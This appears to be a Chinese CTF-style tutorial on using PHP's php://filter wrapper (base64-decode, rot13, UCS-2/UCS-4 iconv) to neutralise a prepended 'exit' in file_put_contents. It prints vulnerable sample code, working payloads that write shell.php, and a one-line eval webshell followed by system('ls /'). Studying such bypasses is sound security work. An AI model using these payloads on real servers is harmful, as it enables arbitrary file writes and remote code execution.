php filter協(xié)議使用方法
<?phphighlight_file(__FILE__);error_reporting(0);$content = $_POST["content"];file_put_contents($_GET["filename"], "<?php exit; ?>".$content);?>
base64加密
看文章的時候看到這樣的一個代碼,發(fā)現(xiàn)我們往文件中寫入的時候,肯定會執(zhí)行<?php exit;?>,可是這樣就直接退出了就不能執(zhí)行我們后面的命令,所以我們要想辦法去繞過,或者說不執(zhí)行這個exit
這道題,可控點有兩個 filename 和 content,先直接給出payload ,然后解析
GET:?filename=php://filter/convert.base64-decode/resource=shell.php
POST:content=PD9waHAgcGhwaW5mbygpOz8+
上面的POST段為<?php phpinfo();?>加密段
看完大佬的文章理解:
base64只對64個字符解密,那如果不是64個字符中的,會直接忽略不計
并且base64中的字符,是要求是4個字節(jié)的倍數(shù),如果實在不行則=補(bǔ)齊
隨便輸入一個都是4字節(jié)的倍數(shù)
<?php exit; ?>這個數(shù)據(jù)是固定的,而< > ; ?是64以外的字符,解碼時會忽略,我們需要考慮的就是phpexit(空格不需要考慮),因為是4的倍數(shù),如果在最后面系統(tǒng)自動加上=號的話,就改變了我們期望的值,所以需要我們手動進(jìn)行修改,這時候我們可以在前面隨便添加一個數(shù)據(jù),讓它與phpexit組合起來,成為一個亂碼,不會影響后面的執(zhí)行。
還有一道就是最近遇到的一道題目,和上面的思路差不多
eval("#".$_GET['flag]);
這個#影響了我后面get傳參,不能進(jìn)行命令執(zhí)行
所以我的思路也是想如何繞過#,或者刪除了它
可是,當(dāng)時想了很久都沒有想出來,還是大佬的提醒點了我一下
這既然是php里面的命令,我們完全可以把前面的閉合掉,然后自己再插入一句話木馬
cmd=?><?php eval($_POST['shell']);
shell=system('ls /');進(jìn)行這樣的操作獲得flag等等,當(dāng)時腦袋瓦特了想不起來
rot13編碼繞過
rot13編碼的本質(zhì)就是將字母左移13位。
如:<?php phpinfo();>
經(jīng)過rot13編碼后這樣:<?cuc cucvasb();?>
用在php://filter
中的話格式大概為這樣
php://filter/string.rot13/resource=文件名
這樣的話上面的題目,用rot13繞過前面的 exit就會轉(zhuǎn)成別的東西,而我們輸入的則最后還是那串執(zhí)行代碼,這樣也就可以繞過了
結(jié)果非常清楚,前面exit被認(rèn)為是加密解密成這樣,后面我們事先加了密,所以抵消,還是原來的
加強(qiáng)繞過exit
<?phphighlight_file(__FILE__);error_reporting(0);$content = $_GET["content"];file_put_contents($content, "<?php exit();".$content);
代碼換成了這樣,好比上面讓你疊飛機(jī)下面讓你造飛機(jī)(-0-)
顯而易見,只有content這一個傳參點了
這種就是加了一個write直接寫入文件,然后紅色部分/可以換成別的管道符,只要和rot13隔開就行
convert.iconv.
1.usc-2
這個編碼就是2個為一組交換字符的位置(空格也會交換)
為什么我們可以把filter直接寫入,因為寫入以后只有我們輸入的一句話木馬會被執(zhí)行,別的就相當(dāng)于亂碼一樣
2.usc-4
就是換成了4個字符一組交換
總結(jié):我們的思路其實都是相同的,通過某一個手段把exit繞過,然后執(zhí)行我們的命令,其實就是用一些編碼的特性,base64 rot13 usc-2 usc-4,都會把exit變成別的亂碼一般。
到此這篇關(guān)于php filter協(xié)議使用方法的文章就介紹到這了,更多相關(guān)php filter協(xié)議內(nèi)容請搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!
